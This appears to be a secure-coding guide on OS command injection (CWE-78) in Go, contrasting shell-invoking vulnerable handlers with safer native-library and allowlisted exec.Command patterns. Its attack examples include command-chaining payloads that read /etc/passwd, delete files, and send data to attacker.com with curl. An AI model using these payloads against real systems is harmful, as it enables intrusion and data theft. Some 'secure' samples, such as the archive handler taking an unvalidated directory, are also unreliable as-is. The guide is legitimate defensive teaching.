Skip to content

CWE-78: OS Command Injection - Go

Overview

OS Command Injection in Go applications occurs when untrusted data is incorporated into system commands executed via the os/exec package without proper validation. Unlike languages with implicit shell invocation, Go's exec.Command() does not invoke a shell by default when provided with a command and separate arguments, offering built-in protection. However, developers can still create vulnerabilities by explicitly invoking shells (sh, bash, cmd.exe), concatenating user input into command strings, or misusing the API.

Go's explicit error handling and type system provide some defensive benefits, but they don't prevent command injection when commands are constructed incorrectly. The standard library's design philosophy favors security: exec.Command("cmd", "arg1", "arg2") passes arguments directly to the executable without shell interpretation, preventing most injection attacks. However, using exec.Command("sh", "-c", userInput) or similar patterns bypasses this protection and enables injection.

The Go ecosystem strongly encourages using native Go libraries (net/http, os, io/fs, archive/zip) instead of shelling out to system commands. Since Go is compiled and cross-platform, most operations that require shell commands in scripting languages can be accomplished with pure Go code. This guidance emphasizes avoiding command execution entirely when possible, and using the safest patterns when it's unavoidable.

Primary Defence: Use Go's native libraries (os, io/fs, net/http) instead of executing commands. If command execution is unavoidable, use exec.Command() with separate arguments (never invoke a shell), and validate inputs with allowlists.

Common Vulnerable Patterns

Invoking Shell with User Input

// VULNERABLE - Using shell to execute commands
package main

import (
    "net/http"
    "os/exec"
)

func pingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")

    // DANGEROUS: Invoking shell allows command injection
    cmd := exec.Command("sh", "-c", "ping -c 4 "+host)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /ping?host=8.8.8.8; cat /etc/passwd
// Executes: sh -c "ping -c 4 8.8.8.8; cat /etc/passwd"
// Result: Runs both ping and cat commands

Why this is vulnerable: Using sh -c or bash -c processes the entire string through a shell, enabling injection via shell metacharacters (;, |, &&, ||, $(), backticks). Even quoted arguments can be escaped. The shell interprets user input as executable code, allowing arbitrary command execution, data exfiltration, or system compromise.

String Concatenation in Command Arguments

// VULNERABLE - Concatenating user input into arguments
func searchFiles(w http.ResponseWriter, r *http.Request) {
    pattern := r.URL.Query().Get("pattern")

    // DANGEROUS: String concatenation can enable shell interpretation
    cmd := exec.Command("sh", "-c", "find /var/data -name "+pattern)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /search?pattern=*.txt -exec rm {} \;
// Executes: find /var/data -name *.txt -exec rm {} \;
// Result: Deletes all .txt files

Why this is vulnerable: While exec.Command() with discrete arguments is safe, using sh -c with concatenated strings defeats that protection. The shell interprets wildcards, redirects (>, <), pipes (|), and command substitution ($()), allowing attackers to manipulate command structure and execute arbitrary operations.

Windows cmd.exe with User Input

// VULNERABLE - Windows command prompt injection
func listDirectory(w http.ResponseWriter, r *http.Request) {
    dir := r.URL.Query().Get("dir")

    // DANGEROUS: cmd.exe allows command chaining
    cmd := exec.Command("cmd", "/C", "dir "+dir)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /list?dir=C:\ & whoami
// Executes: cmd /C "dir C:\ & whoami"
// Result: Lists directory and reveals current user

Why this is vulnerable: Windows cmd.exe uses &, &&, ||, and | for command chaining and pipes. The /C flag executes the string and terminates, but concatenated user input becomes part of the command sequence. Attackers can chain commands, redirect output to files, or execute PowerShell for advanced attacks.

fmt.Sprintf() with Command Construction

// VULNERABLE - Building commands with fmt.Sprintf
func compressFile(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")

    // DANGEROUS: fmt.Sprintf creates injectable command string
    cmdStr := fmt.Sprintf("tar czf /tmp/backup.tar.gz %s", filename)
    cmd := exec.Command("sh", "-c", cmdStr)

    err := cmd.Run()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.WriteHeader(http.StatusOK)
}

// Attack example:
// GET /compress?file=/var/log/app.log; curl attacker.com/exfil?data=$(cat /etc/passwd | base64)
// Result: Sends password file to attacker's server

Why this is vulnerable: fmt.Sprintf() performs simple string formatting without escaping shell metacharacters. Combined with sh -c, it allows injection of command separators, subshells, and output redirection. Even if the format string looks safe, user input can break out of quotes and inject new commands.

Secure Patterns

// SECURE - Use Go's net package instead of ping command
package main

import (
    "encoding/json"
    "fmt"
    "net"
    "net/http"
    "time"
)

type PingResult struct {
    Host      string `json:"host"`
    Reachable bool   `json:"reachable"`
    Latency   string `json:"latency,omitempty"`
    Error     string `json:"error,omitempty"`
}

func pingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")

    // Validate hostname/IP
    if host == "" {
        http.Error(w, "Host required", http.StatusBadRequest)
        return
    }

    // SECURE: Use Go's net package instead of ping command
    start := time.Now()
    conn, err := net.DialTimeout("tcp", host+":80", 5*time.Second)
    latency := time.Since(start)

    result := PingResult{Host: host}

    if err != nil {
        result.Reachable = false
        result.Error = err.Error()
    } else {
        result.Reachable = true
        result.Latency = latency.String()
        conn.Close()
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(result)
}

// SECURE: File operations with io/fs instead of shell commands
func listFiles(w http.ResponseWriter, r *http.Request) {
    dirPath := r.URL.Query().Get("dir")

    // Validate path is within allowed directory
    allowedBase := "/var/data"
    fullPath := filepath.Join(allowedBase, filepath.Clean(dirPath))

    if !strings.HasPrefix(fullPath, allowedBase) {
        http.Error(w, "Invalid directory", http.StatusBadRequest)
        return
    }

    // SECURE: Use os.ReadDir instead of ls/dir command
    entries, err := os.ReadDir(fullPath)
    if err != nil {
        http.Error(w, "Cannot read directory", http.StatusInternalServerError)
        return
    }

    var files []string
    for _, entry := range entries {
        files = append(files, entry.Name())
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(files)
}

// SECURE: Archive operations with archive/tar instead of tar command
func createTarball(w http.ResponseWriter, r *http.Request) {
    sourceDir := r.URL.Query().Get("dir")

    // SECURE: Use archive/tar package
    tarFile, err := os.Create("/tmp/backup.tar.gz")
    if err != nil {
        http.Error(w, "Cannot create archive", http.StatusInternalServerError)
        return
    }
    defer tarFile.Close()

    gzWriter := gzip.NewWriter(tarFile)
    defer gzWriter.Close()

    tarWriter := tar.NewWriter(gzWriter)
    defer tarWriter.Close()

    filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
        if err != nil {
            return err
        }

        header, err := tar.FileInfoHeader(info, "")
        if err != nil {
            return err
        }

        if err := tarWriter.WriteHeader(header); err != nil {
            return err
        }

        if !info.IsDir() {
            file, err := os.Open(path)
            if err != nil {
                return err
            }
            defer file.Close()

            _, err = io.Copy(tarWriter, file)
            return err
        }

        return nil
    })

    w.WriteHeader(http.StatusOK)
}

Why this works: Using Go's native packages (net, os, io/fs, archive/tar) eliminates command execution entirely, removing the attack surface for command injection. These libraries operate directly through system calls and APIs rather than spawning shell processes, making metacharacter injection impossible. Operations are type-safe, cross-platform, and more performant than shelling out. This is the preferred solution - avoid os/exec entirely when Go provides equivalent functionality.

exec.Command with Separate Arguments (No Shell)

// SECURE - Use exec.Command with discrete arguments, no shell
package main

import (
    "context"
    "net/http"
    "os/exec"
    "regexp"
    "time"
)

// Allowlist validation for IP addresses
var ipv4Regex = regexp.MustCompile(`^(\d{1,3}\.){3}\d{1,3}$`)

func securePingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")

    // Validate input against allowlist pattern
    if !ipv4Regex.MatchString(host) {
        http.Error(w, "Invalid IP address format", http.StatusBadRequest)
        return
    }

    // Additional validation: check octets are 0-255
    parts := strings.Split(host, ".")
    for _, part := range parts {
        num, err := strconv.Atoi(part)
        if err != nil || num < 0 || num > 255 {
            http.Error(w, "Invalid IP address", http.StatusBadRequest)
            return
        }
    }

    // SECURE: exec.Command with separate arguments - NO SHELL
    // Arguments are passed directly to ping, not interpreted by shell
    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "ping", "-c", "4", host)

    output, err := cmd.CombinedOutput()
    if err != nil {
        // Don't expose raw error to user
        http.Error(w, "Ping failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: exec.Command("ping", "-c", "4", host) passes each argument directly to the ping executable without shell interpretation. Go's os/exec constructs an argument vector (argv) where host is a discrete string parameter, not parsed for shell metacharacters. Even if host contains ;, |, or $(), they're treated as literal characters in the argument. The timeout context prevents resource exhaustion, and input validation provides defense-in-depth by rejecting malformed IPs before execution.

Input Validation with Allowlist

// SECURE - Allowlist validation for command arguments
package main

import (
    "context"
    "net/http"
    "os/exec"
    "time"
)

// Allowlist of safe file patterns
var allowedPatterns = map[string]bool{
    "*.log":  true,
    "*.txt":  true,
    "*.json": true,
}

// Allowlist of safe directories
var allowedDirs = map[string]bool{
    "/var/log/app":  true,
    "/var/data/app": true,
}

func findFilesHandler(w http.ResponseWriter, r *http.Request) {
    pattern := r.URL.Query().Get("pattern")
    directory := r.URL.Query().Get("dir")

    // SECURE: Validate against allowlists
    if !allowedPatterns[pattern] {
        http.Error(w, "Pattern not allowed", http.StatusBadRequest)
        return
    }

    if !allowedDirs[directory] {
        http.Error(w, "Directory not allowed", http.StatusBadRequest)
        return
    }

    // SECURE: Validated inputs + separate arguments + no shell
    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "find", directory, "-name", pattern, "-type", "f")

    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Search failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: Allowlist validation rejects any input not explicitly permitted, preventing injection of command options (like -exec), shell metacharacters, or path traversal sequences. Map lookups are O(1) and type-safe, ensuring only pre-approved values reach exec.Command(). Combined with separate arguments (no shell) and timeout contexts, this provides defense-in-depth: validation blocks malicious input early, proper argument passing prevents interpretation, and timeouts prevent DoS.

Filename Validation with Allowlist

// SECURE - Simple filename validation for command arguments
package main

import (
    "context"
    "net/http"
    "os/exec"
    "path/filepath"
    "regexp"
    "time"
)

// Allowlist for safe filenames (no path components)
var safeFilenameRegex = regexp.MustCompile(`^[a-zA-Z0-9_\-\.]+$`)

func processFileHandler(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")

    // SECURE: Allowlist validation - only simple filenames
    if !safeFilenameRegex.MatchString(filename) {
        http.Error(w, "Invalid filename", http.StatusBadRequest)
        return
    }

    // Reject filenames with path separators
    if strings.Contains(filename, "/") || strings.Contains(filename, "\\") {
        http.Error(w, "Path separators not allowed", http.StatusBadRequest)
        return
    }

    // Build full path within allowed directory
    allowedDir := "/var/app/uploads"
    fullPath := filepath.Join(allowedDir, filename)

    // SECURE: Use validated path with separate arguments
    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "file", "--brief", fullPath)

    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Command failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: Allowlist validation with a simple regex ensures only safe filenames (alphanumeric, dash, underscore, dot) are accepted, blocking any command injection attempts through special characters. Explicitly rejecting path separators prevents directory traversal. This provides basic input validation suitable for command arguments. For comprehensive path traversal prevention (canonicalization, symlink resolution, boundary checks), see CWE-22: Path Traversal - Go.

Framework-Specific Guidance

Gin Web Framework

// SECURE - Gin framework with command injection protection
package main

import (
    "context"
    "net/http"
    "os/exec"
    "regexp"
    "time"

    "github.com/gin-gonic/gin"
)

var hostnameRegex = regexp.MustCompile(`^[a-zA-Z0-9\-\.]+$`)

func main() {
    r := gin.Default()

    // Middleware for request timeout
    r.Use(func(c *gin.Context) {
        ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
        defer cancel()
        c.Request = c.Request.WithContext(ctx)
        c.Next()
    })

    r.GET("/ping", pingEndpoint)
    r.GET("/sysinfo", sysinfoEndpoint)

    r.Run(":8080")
}

func pingEndpoint(c *gin.Context) {
    host := c.Query("host")

    // Validate hostname format
    if !hostnameRegex.MatchString(host) {
        c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid hostname"})
        return
    }

    // SECURE: exec.Command with separate arguments
    ctx, cancel := context.WithTimeout(c.Request.Context(), 10*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "ping", "-c", "3", "-W", "2", host)

    output, err := cmd.CombinedOutput()
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Ping failed"})
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "host":   host,
        "output": string(output),
    })
}

// SECURE: Better approach - use Go native libraries
func sysinfoEndpoint(c *gin.Context) {
    // Use os package instead of system commands
    hostname, err := os.Hostname()
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to get hostname"})
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "hostname": hostname,
        "os":       runtime.GOOS,
        "arch":     runtime.GOARCH,
    })
}

Why this works: Gin's context integration allows request timeouts to cascade to child exec.CommandContext() calls, preventing hung processes from command execution. Input validation with regex allowlisting ensures only safe hostnames reach the command. JSON responses prevent any command output from being interpreted as HTML. Using native Go libraries (os.Hostname(), runtime.GOOS) instead of system commands is demonstrated as the better pattern.

Echo Framework

// SECURE - Echo framework with validation middleware
package main

import (
    "context"
    "net/http"
    "os/exec"
    "regexp"
    "time"

    "github.com/labstack/echo/v4"
    "github.com/labstack/echo/v4/middleware"
)

var alphanumericRegex = regexp.MustCompile(`^[a-zA-Z0-9]+$`)

func main() {
    e := echo.New()

    // Middleware
    e.Use(middleware.Logger())
    e.Use(middleware.Recover())
    e.Use(middleware.TimeoutWithConfig(middleware.TimeoutConfig{
        Timeout: 30 * time.Second,
    }))

    e.GET("/check/:service", checkService)

    e.Logger.Fatal(e.Start(":8080"))
}

// Allowlist of services
var allowedServices = map[string]string{
    "web":      "nginx",
    "database": "postgresql",
    "cache":    "redis",
}

func checkService(c echo.Context) error {
    service := c.Param("service")

    // SECURE: Allowlist validation
    processName, ok := allowedServices[service]
    if !ok {
        return c.JSON(http.StatusBadRequest, map[string]string{
            "error": "Unknown service",
        })
    }

    // SECURE: exec.Command with validated input, no shell
    ctx, cancel := context.WithTimeout(c.Request().Context(), 5*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "pgrep", "-c", processName)

    output, err := cmd.CombinedOutput()
    if err != nil {
        // pgrep returns non-zero if process not found
        return c.JSON(http.StatusOK, map[string]interface{}{
            "service": service,
            "running": false,
        })
    }

    return c.JSON(http.StatusOK, map[string]interface{}{
        "service": service,
        "running": true,
        "count":   string(output),
    })
}

Why this works: Echo's built-in timeout middleware automatically cancels long-running requests, propagating cancellation to exec.CommandContext(). The allowlist maps user-facing service names to actual process names, preventing arbitrary process name injection. Even if an attacker modifies the URL parameter, only pre-approved process names reach pgrep. The separate arguments pattern ensures no shell expansion occurs.

Additional Resources